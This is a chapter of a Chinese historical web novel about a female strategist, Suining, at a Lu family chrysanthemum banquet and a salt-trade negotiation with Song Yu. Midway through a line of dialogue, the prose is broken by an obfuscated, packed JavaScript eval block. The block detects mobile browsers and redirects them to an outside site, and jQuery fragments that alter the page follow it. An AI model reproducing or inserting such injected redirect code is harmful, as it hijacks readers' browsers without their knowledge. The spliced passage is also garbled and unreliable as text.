12. 落花逢君,应是旧时相识

作品:《这个谋士她正经吗

    回到建康城时,陆府的玉兰花已经落尽了。萧瑟秋风穿堂过,庭中满地的香消玉殒。


    恰是这百花凋谢时,晚菊绽放。于是陆府设下赏菊宴,开琼筵邀京城名士,坐花清谈。


    苑下碎碎花丛之间,岁宁独自一人彳亍在庭前,眸光淡淡,不着喜悲。陆宣同往常一样,会来院中寻她,岁宁只抬头看了他一眼,没有远迎,连近迎也省去了。


    陆宣携了壶薄酒来,问她,“怎么独自在这儿?”


    岁宁径自坐在树下的石凳上,回道:“躲个清净。”


    陆宣又说:“此次设宴,许多宾客慕名而来,却都见不着你。”


    “有什么可见的?世家贵族的宴饮向来无趣得很。”岁宁揉了揉疲乏的眼,困倦地说道,“今日还邀了些北方世家来,难不成去听南人骂伧,北人骂貉?”


    陆宣朗声笑道:“我亦是如此想的,可惜父兄不如何赞同。还是你说的话,最得我心。”


    岁宁浅笑道:“所以你这是上我这儿躲清闲来了?”


    “难得清闲。”他斟了一小杯酒,推到了岁宁面前,“苍梧竹叶青,宋府的人送来的,可要尝尝?”


    岁宁凝视着杯中醇香的酒水,微不可察地叹了口气,又把杯子推回陆宣身前,“快入冬了,我便不喝酒了,省得又大病一场。”


    她又忍不住问:“宋府,怎的会派人来?”


    “是长兄邀请的,他同宋氏的长公子,还算谈得来。”陆宣又话锋一转,“不过我倒觉着,他是为了荆南商道的事,兴师问罪而来。”


    “是么?”岁宁垂着眸,一副煞有介事的模样,“白盐的事,还没谈妥?”


    陆宣无可奈何道:“原先的商道被兵乱毁了,如今只能走荆南的商道,却又捏在了宋氏手里。”


    岁宁问:“他给陆氏施压了?”


    陆宣摇摇头,“长兄想把白盐的管权让回去,可是......这几年米粟收成不好,养部曲耗钱,收治流民也要钱,若拿不到盐利,今年的亏空,怕是难以补上。”


    “二公子这是在同我倒苦水?”


    “万般忧愁事,唯有你能替我排解一二。”


    她拂去身上的落花,起身将衣裳上的褶皱抚平,行至院门前,同他说道,“走吧,去听听长公子有何高见。”


    前院热闹得紧,陆尚书还特命下人将府里开得最好的菊花都移至盆中,搬到了这里。女眷结伴着采花,要制花茶和香料。男子多围聚在亭下,谈老庄,论玄学,或道风月无边。


    更有甚者,大抵是分食了五石散,褒衣博带,倚在席间醉生梦死。


    岁宁忙举起丝扇遮住视线,低着头匆忙掠过。


    无论是哪一方,岁宁都融入不了。


    途中遇王家的两位女公子采花扑蝶,三五个女郎相伴左右,在菊花丛中嬉戏玩闹。正值二八年华,年轻的面孔稚气未褪,略显憨态,甚是可爱。


    连岁宁也不禁感慨,“珠圆玉润,何不可怜?”


    陆宣问她:“你想同她们一道?”


    岁宁摇了摇头,“我同她们不一样的。”


    记事以来,她从未有过天真烂漫的光景。早在童年,她就已经在这苍凉的世道中摸爬滚打,苟且求生了。


    她又说,“你看,我险些丢了命,才换取了今日的美名,可旁人只需一个高高在上的身份,便能得到善待。什么都不用做,财帛与美言便会倾斜于她。”


    陆宣笑道:“羡慕别人做什么?你若想要,我也能给你。”


    “不一样的。”岁宁喃喃道。


    “有何不同?”


    岁宁直视着他的眼睛,平静地说道:“你不会懂的。”


    贵者愈贵,贫者愈贫。她不羡慕那些锦衣玉食的人,只是常常在想,这世道不该如此。


    陆宣生来锦衣玉食,自然不会懂她如今为何而愁。


    他自顾自地说:“此次宴上,王家还带了女眷,说不定,是为了同陆氏结姻亲而来?”


    “怎的?”岁宁睨了他一眼,“陆二公子不愿?”


    陆宣只笑他们痴人说梦,“我父兄可无意同北人结亲。”


    “可江东士族也被你拒了。”岁宁毫不留情地戳穿了他,“陆二公子已然二十有三,仍不愿婚娶,怕不是要青灯古佛相伴?”


    “倘若......”陆宣小心翼翼地问道,“我是说倘若,我真的娶了妻,你又当如何?”


    岁宁轻笑一声,回答道:“届时公子借着联姻多了分助力,往后青云直上,我自然也能少操劳些。”


    像她这般心思玲珑的人,分明什么都懂得。


    陆宣索性闭了嘴,不再说话,此后,兴许也不会再问了。


    岁宁沿着芳径,继续往凉亭的方向走。这府上的花,总是一季一换。可她依稀记起,某个地方的景致,四季常青。


    一位白衣公子持一柄紫竹缂丝刀扇,正在庭中与人闲聊。陆氏长公子陆宜,字灵远,世人皆赞他是瑰姿艳逸,列松如翠的谦谦君子。而他身旁那位温文尔雅的公子,乃是王司徒次子王忱。


    陆宣步入亭中向二人行了礼,又一阵寒喧,才切入正题。


    “长兄先前同宋氏谈得如何了?”


    陆灵远道:“尚未谈拢,宋公子如今在临榆轩候着。”


    他又问:“不知长兄现下作何想?”


    陆灵远便直言道:“交还盐利,送他一份人情,总比两家结仇好得多。”


    陆宣不悦道:“将盐利拱手让人,岂不是让我白忙活一场?”


    陆灵远一挥袂,摆了摆手,“既与我有分歧,你自去同他商讨吧。”


    陆宣道了声告辞,便携岁宁往临榆轩去了。


    王忱观陆宣身侧身姿纤细的女子,垂霄髻上饰着珠玉钗环,垂鬓与发上珠穗一步一摇晃,铅华淡淡,比起京中容貌绮丽的世家女子,虽略显寡淡,却自有如淡雪一般的风流雅韵,又像是被遗落在秋风中的一枝孤芳。


    待二人走远了,王忱才开口询问:“贤兄,敢问方才那位女郎,可是贵府的女公子?”


    陆灵远手中紫竹刀扇一挥,不轻不重地打在王忱肩上,笑骂道:“一场赏菊宴,你还真的相看上了?”


    王忱不死心地说道:“两姓结谊有何不好?家父也正有此意。”


    陆灵远扇着扇儿,幽幽笑道:“怕是要教王公子失望了。那位


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281800|151861||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啊,是我二弟身边的幕僚,他素来喜欢得紧,割爱是不可能了。”


    王忱只得摇头叹气,“她便是那位女子谋士吗?倒也难怪了。”


    临榆轩不远,不过几步路的距离,可是离他愈近,岁宁却觉得愈发情怯。她不愿见到那个人,亦不知该如何面对他,至少现在是如此。


    榆荫浅浅,透过那稀疏的枝桠,见他正端坐在屋内与人弈棋。


    余光瞥见了窗外的人,宋聿抬眸朝外看了一眼,执棋的手悬在空中。须臾,他收回了视线,白子又落于棋盘之上。


    他没看陆宣,看的是他身旁的女子,清冷的眉目中没有半分波澜。


    只是不知道,像他这般薄情的人,是否还记挂着她。


    于是岁宁临阵脱逃了,连个缘由都不愿意编,她便撇下陆宣独自走远,甚至连头也不曾回。


    陆宣纵料到了她的反常,却也无心顾及,依旧朝临榆轩走去。


    宋聿与王恪又开新局,见了陆宣,王恪忙起身同他互相行礼,又拉着他一并落座。


    一反平日里的谦逊,宋聿此刻连头都没抬,话语也陡然刻薄了起来。“我知晓你为何而来。”


    陆宣笑问:“所以,宋公子言下之意是?”


    “还请陆二公子,先容在下与王公子下完这一局棋。”他许是还在因武陵的事恼怒,故而也没给陆宣什么好脸色。


    陆宣便负手静待在一旁,观棋不语。


    只是王恪却纳了闷,上一局对手还云淡风轻,只守不攻。这一局则见招拆招,进攻夹断,杀意更甚,不留半分情面。


    棋子似繁星散布,王恪很快败下阵来。


    见他投子认输,宋聿神色自若,拱手作揖,道了声:“承让。”


    “佩服。”王恪连连叹气,又起身离席,道,“既然二位还有要事相商,王某便先行告辞了。”


    陆宣见他好似落荒而逃,不免觉得有些好笑。


    “陆二公子,请吧。”


    陆宣一手支在棋桌上,却饶有兴致地打量起他愠怒的神情,“我倒是好奇,宋公子愿给盐商三成让利,哪里还有的赚?”


    宋聿道:“宋氏少些谋利,当地盐业的课税便可少捐些。”


    听了这番见解,饶是连陆宣都忍不住恭维一句:“绍君竟有如此气度,陆某自愧弗如。”


    “在下不才,承蒙父祖照顾,在蜀地颇有根基,才拿了临邛盐业的管权,加之荆南商道的便宜,才能多省下几分利。”宋聿侧过头看他,“至于地利与人和,贵府占了几样?”


    陆宣讪讪笑道:“这倒是,陆氏哪哪都输了。不若改为合作?运盐的商道上,也能少些绊子。”


    宋聿拢了拢袖,冷笑一声,“陆二公子可算不上光明磊落,在下不愿同你交易。”


    “除了陆氏,宋公子可还有更好的人选?”


    宋聿又说:“在下听闻陆二公子身边有位陈姓的谋士。”


    陆宣眼中笑意淡了,质问道:“宋公子这样的人,也会对她感兴趣么?”


    宋聿垂首拨弄着棋盘上的云子,瞧不出是怎样的神情,陆宣只听他说道:“陆氏若想分这杯羹,可否让她亲自来同我谈?”